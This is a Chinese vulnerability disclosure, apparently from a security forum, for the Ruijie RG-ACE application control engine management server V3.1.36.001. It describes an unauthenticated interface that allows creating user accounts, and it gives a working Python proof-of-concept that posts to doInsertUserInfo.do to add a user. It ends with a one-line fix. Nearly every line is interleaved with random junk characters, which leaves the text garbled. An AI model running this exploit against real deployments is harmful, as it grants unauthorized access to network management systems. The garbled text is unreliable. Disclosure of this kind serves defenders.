锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
) g( i; O( [" m- x) O2 \+ e1 q; K/ `" F9 t3 u, ?
5 t' P/ ]2 ^& Y' t8 q! X' k. [测试的具体版本是0 L+ o, f4 H& l# |; `' N6 C
产品名称: 锐捷应用控制引擎6 Y& a/ l, j. P- A- a* S
版本号: 3.1.36.001 TC
% a& B8 f0 i5 _) \7 }4 j2 O编译时间: 201104291730
" |, M/ t+ V8 C+ ?& D
$ c8 T8 I! c; r# D. P- F+ R' @- @: F0 r
漏洞证明:
' S+ a2 |- C k/ d# I) L3 D 6 H3 T; r$ S4 _2 x
6 t: y% }7 P% W* d1 b- w
+ V* B9 |- `) {% c1 S/ T+ r C9 K8 {" e& {$ c; L% C6 n: G% q
9 \/ c2 L- R4 j0 X5 \$ E" ]/ f6 [2 k" J- T$ D3 w" j1 f5 V
执行脚本
' Q8 Y( i5 [* s, R#! /usr/bin/env python
2 C2 _& F) ?5 t% n) U3 V#coding=gbk
( _, X/ h9 h( J' W! d#RG-ACE管理服务器 V3.1.36.001' t) g) F9 W0 V/ Y
import urllib2, urllib,cookielib
7 N* o' P4 X) T2 V3 Wurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
, v; f6 l' Y. I* ^! J/ @opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
4 b, ^# p4 Q1 W0 v! Zopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]& M5 x. v. K d5 a k+ v8 b
post=(("event","userManager.doInsertUserInfo"),
, R; `6 ^+ _% G/ k3 w("useractionname","addButtonValue"),' }' v Q0 h+ \1 }' U
("useropermanager","userManager"),$ X% [7 v, W) d1 d; R$ m
("userName","t"), #######账号自己加$ O- L, c/ E1 d8 s$ z% l4 q6 W) W0 s4 u
("pwd","aaaaaa"),######密码自己加6 ?: M1 s$ O7 D: s. \: S
("trueName","ad"),$ V4 s; u! V, u- u3 k0 c$ {! F: v
("email",""),
% ?( y# x W3 j$ P4 E8 Q- C% v("mobilePhone",""),
. i$ I5 }9 ]1 [("officePhone",""),: F' ~4 {' b2 s7 g) \; ~
("addr",""),3 o K; c$ D( q2 T
("submit","确定"))& m4 \& ~! ^3 X8 g0 F t3 a
urllib2.install_opener(opener)
3 n/ d# B) W8 j1 k& h+ Hp=urllib2.urlopen(url, urllib.urlencode(post)).read()
/ i% o+ d; d2 C/ Rprint "Done". A# O' H6 I& L8 T* ~
- D/ j7 _# k. c$ t P8 a' M& H
登录,连接设备8 `& y" X* I: H0 J0 N0 b
: i ?% `# ]% P3 E& p# N- ]- R, A' E
2 |3 p0 }+ [4 E) E0 `8 J0 a
7 v! u k, R/ G# s' ?8 H. `
3 T4 Y( G' x2 S
( h7 [& t7 Q2 K8 u
默认的管理员admin权限更大点/ K* |, f9 n, t- Y/ g: d8 _5 r) o2 g% J
9 {! h N4 ^* b# D" z3 X5 @4 r5 S6 u$ Q( L
1 y5 ]; n2 ?8 m9 N# E4 ~
* J( k1 D+ b' D0 D- s/ P5 D5 I' ?4 W5 ^7 x, J
修复方案:* `# y: @. R V+ `
加强对接口的权限验证$ r# t- `4 V4 {5 s0 g7 _8 v( p! U
+ y0 ~7 @) ]5 q9 r/ u4 n
|